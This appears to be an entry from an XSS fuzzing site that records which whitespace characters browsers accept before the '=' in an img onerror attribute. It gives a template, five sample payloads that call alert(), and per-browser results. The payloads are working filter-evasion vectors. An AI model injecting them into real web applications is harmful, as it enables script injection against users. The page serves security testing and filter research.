Characters allowed before after onerror events
5
5
5
5This XSS vector shows what characters can be used before the onerror event.
Created byt0xodile
Created Oct 23, 2025
Updated Oct 23, 2025
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<img src onerror$[chr]=log($[i])>Sample payloads
<img src onerror0x09=alert(9)><img src onerror
=alert(10)><img src onerror0x0C=alert(12)><img src onerror0x0D=alert(13)><img src onerror =alert(32)>Fuzz results
Chrome 144.0.0.0 desktop macOS 10.15.7
Updated
Sun Jan 25 2026
Found 5 results
Loading...
Chrome 139.0.0.0 desktop Linux Unknownolder version
Updated
Thu Oct 23 2025
Found 5 results
Loading...
Firefox 147.0 mobile Android 16
Updated
Sat Jan 31 2026
Found 5 results
Loading...
Firefox 135.0 desktop Linux Unknownolder version
Updated
Tue Oct 28 2025
Found 5 results
Loading...
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated
Mon Jan 26 2026
Found 5 results
Loading...
Safari 26.2 desktop macOS 10.15.7
Updated
Fri Jan 30 2026
Found 5 results
Loading...
Safari 0 tablet iOS 18.7.3older version
Updated
Fri Jan 30 2026
Found 5 results
Loading...